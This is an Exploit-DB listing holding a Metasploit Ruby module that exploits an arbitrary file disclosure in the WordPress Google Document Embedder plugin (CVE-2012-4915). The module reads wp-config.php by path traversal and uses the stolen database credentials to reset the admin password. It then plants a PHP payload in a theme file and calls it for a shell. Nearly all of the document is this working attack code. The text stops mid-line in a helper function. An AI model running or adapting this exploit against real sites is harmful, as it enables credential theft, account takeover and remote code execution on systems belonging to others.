Exploit-DB #23970
Description: WordPress Plugin Google Document Embedder - Arbitrary File Disclosure (Metasploit)
Type: webapps
Platform: php
Date: 2013-01-08
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rbmysql'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Report

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
			'Description'    => %q{
					This module exploits an arbitrary file disclosure flaw in the WordPress
				blogging software plugin known as Google Document Embedder. The vulnerability allows for
				database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
				plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
				server is exposed on a accessible IP and Wordpress has filesystem write access.

				Please note: The admin password may get changed if the exploit does not run to the end.
			},
			'Author'         =>
				[
					'Charlie Eriksen',
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2012-4915'],
					['OSVDB', '88891'],
					['URL', 'http://secunia.com/advisories/50832'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 03 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
				OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
				OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
				OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
			], self.class)
	end

	def check
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		plugins_uri = String.new(uri)
		plugins_uri << datastore['PLUGINSPATH']
		plugins_uri << '/' if plugins_uri[-1,1] != '/'

		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{plugins_uri}google-document-embedder/libs/pdf.php",
		})

		if res and res.code == 200
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Safe
		end
	end

	def exploit
		uri = target_uri.path
		uri << '/' if uri[-1,1] != '/'
		plugins_uri = String.new(uri)
		plugins_uri << datastore['PLUGINSPATH']
		plugins_uri << '/' if plugins_uri[-1,1] != '/'
		admin_uri = String.new(uri)
		admin_uri << datastore['ADMINPATH']
		admin_uri << '/' if plugins_uri[-1,1] != '/'
		themes_uri = String.new(uri)
		themes_uri << datastore['THEMESPATH']
		themes_uri << '/' if plugins_uri[-1,1] != '/'

		print_status('Fetching wp-config.php')
		res = send_request_cgi({
			'method'     => 'GET',
			'uri'        => "#{plugins_uri}google-document-embedder/libs/pdf.php",
			'vars_get'   =>
				{
					'fn'   => "#{rand_text_alphanumeric(4)}.pdf",
					'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
				}
		})

		if res and res.body =~ /allow_url_fopen/
			fail_with(Exploit::Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
		elsif res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end

		config = parse_wp_config(res.body)
		if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
			fail_with(Exploit::Failure::UnexpectedReply, "The config file did not parse properly")
		end
		begin
			@mysql_handle = ::RbMysql.connect({
				:host           => config['DB_HOST'],
				:port           => config['DB_PORT'],
				:read_timeout   => 300,
				:write_timeout  => 300,
				:socket         => nil,
				:user           => config['DB_USER'],
				:password       => config['DB_PASSWORD'],
				:db             => config['DB_NAME']
			})
		rescue Errno::ECONNREFUSED,
			RbMysql::ClientError,
			Errno::ETIMEDOUT,
			RbMysql::AccessDeniedError,
			RbMysql::HostNotPrivileged
			fail_with(Exploit::Failure::NotVulnerable, 'Unable to connect to the MySQL server')
		end
		res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
									INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")

		if res.nil? or res.size <= 0
			fail_with(Exploit::Failure::UnexpectedReply, 'No admin was account found')
		end

		user = res.first

		new_password = rand_text_alphanumeric(8)
		@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
		print_warning("Admin password changed to: #{new_password}")

		admin_cookie = get_wp_cookie(uri, user[0], new_password)

		theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)

		print_warning("Editing theme #{theme}")
		set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)

		print_status("Calling backdoor")
		res = send_request_cgi({
			'method' => 'GET',
			'uri'    => "#{themes_uri}#{theme}/header.php",
		})

		if res and res.code != 200
			fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
		end

		set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)

		@mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")

		print_status("Shell should have been acquired. Disabled backdoor")
	end

	def parse_wp_config(body)
		p = sto